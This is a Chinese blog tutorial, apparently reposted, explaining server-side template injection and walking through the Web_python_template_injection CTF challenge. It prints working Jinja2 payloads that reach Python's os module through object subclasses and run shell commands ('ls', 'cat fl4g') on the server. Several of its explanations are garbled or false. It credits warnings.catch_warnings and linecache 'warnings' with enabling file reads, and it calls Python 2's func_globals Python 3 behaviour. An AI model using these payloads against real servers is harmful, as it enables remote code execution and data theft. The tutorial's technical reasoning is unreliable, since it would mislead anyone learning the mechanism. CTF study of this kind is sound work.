SSTI漏洞
SSTI是Server-Side Template Injection的缩写,是一种Web应用程序安全漏洞,主要存在于使用基于模板引擎的Web应用程序中。
SSTI漏洞的主要原因是在Web应用程序中使用了基于模板引擎的渲染功能,并且没有正确地验证和过滤用户输入的数据。当攻击者能够构造特定的输入并成功地注入恶意代码时,模板引擎会将该代码当做合法的模板片段来处理,导致服务器端执行该代码。
漏洞分类
-
条件语句注入:攻击者在应用程序中的条件语句中注入模板代码,从而控制条件判断的分支,导致程序的逻辑错误。这种注入通常发生在基于条件语句的模板引擎,如
Django
、Jinja2
中。 -
命令执行注入:攻击者在应用程序中的命令执行语句中注入模板代码,从而执行任意系统命令,获取系统权限,对系统进行攻击等。这种注入通常发生在使用反序列化操作等动态执行代码的模板引擎中,如
FreeMarker
、Velocity
等。 -
变量渲染注入:攻击者在应用程序中的变量渲染语句中注入模板代码,从而影响页面的输出,导致代码执行或信息泄漏等问题。这种注入通常发生在基于语法标签的模板引擎,如
Smarty 等
中。 -
其他注入:SSTI 漏洞还有一些其他的注入方式,如在
URL、请求头、Cookie 等参数
中注入模板代码,通过多重注入实现攻击等。
魔术方法
在一些模板引擎中,存在一些用于访问对象属性和方法的魔术方法,可利用这些魔术方法构造SSTI漏洞。
1. __class__:通过该魔术方法,攻击者可以获取目标对象的类名并进行操作。
2. __bases__:该魔术方法返回目标对象所在类的所有父类的元组,
并且攻击者可以根据这些信息来构造恶意代码。
3. __subclasses__():该魔术方法返回目标对象的所有子类,
并且攻击者可以根据这些信息来构造恶意代码。
4. __globals__:该魔术方法返回当前作用域中的所有全局变量,
并且攻击者可以利用这些变量来执行恶意代码。
5. __import__():该魔术方法用于动态加载模块,
并且攻击者可以利用这个方法来执行任意代码。
姿势
判断是否存在SSTI漏洞
Payload:{{1+1}}
如上图,存在SSTI漏洞。
查看所有子类
Payload:[].__class__.__base__.__subclasses__()
调用 class 方法获取的是 [] 所处的类 list。接着,通过 base 方法获取了 list 类的基类 object。然后再调用 subclasses() 方法,获取的是 object 的所有子类,也就是所有 Python 中定义的类,以及这些类的子类和后代类
查找warnings.catch_warnings函数
在Python 3中,如果一个未受信任的程序调用warnings.showwarning()函数,则warnings.catch_warnings()上下文管理器将捕获到 RuntimeWarning 警告。
在warnings.catch_warnings()未被禁用前,可以在模板注入中使用 warnings.catch_warnings() 来允许在 Python 3 环境下成功读取文件内容
由上图,warnings.catch_warnings函数位于第59个type中
查找warnings.catch_warnings函数内模块
构造Payload:{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}}
在object 子类列表中第 59 个子类中(即第59个type中), 调用__init__.func_globals.keys()
方法返回其初始化函数的全局作用域(即所有的变量、函数)
发现linecache函数
在 Python 3 中,当使用警告时,如果Python没有找到对应的源文件,则会引发一个 linecache 警告。可利用此特性,在未找到源文件的情况下成功读取flag
查看linecache中os模块
为什么需要查看 linecache 中的 os 模块?
在 Python 3 中,当对一个未导入的模块(如 os 模块)执行 eval() 函数时,linecache 模块会发出一个警告,可利用这个警告来读取敏感信息。
Payload:{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()')}}
获取第 59 个type的__init__.func_globals.values()[13]['eval']
属性,然后使用 Python 的 eval() 函数来执行字符串 __import__(\"os\").popen(\"ls\").read()
__init__
用来创建一个 Python 代码字符串所对应的函数对象,func_globals.values()
返回一个字典视图对象,包含了定义在该方法中的所有全局变量和函数。而 [13] 则是用来获取该字典视图中的第 13 个元素。由于这个方法中定义了一个名为 eval 的全局函数变量,因此该元素为 eval 函数本身。
在 Python 中,eval() 函数可以动态地解析并执行字符串作为 Python 代码进行计算。执行 os.popen("ls").read()
命令,可获取当前目录下的所有文件列表
查看fl4g文件内容
Payload:{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("cat fl4g").read()')}}
os.popen("cat fl4g").read()
命令用于读取名为 fl4g 的文件中的内容
总结
以上为SSTI漏洞原理分析
并结合攻防世界Web_python_template_injection实例
进行解题详解,希望读者躬身实践。文章来源:https://www.toymoban.com/news/detail-714451.html
我是秋说,我们下次见。文章来源地址https://www.toymoban.com/news/detail-714451.html
到了这里,关于[网络安全]一文带你了解SSTI漏洞(结合Web_python_template_injection解题详析)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!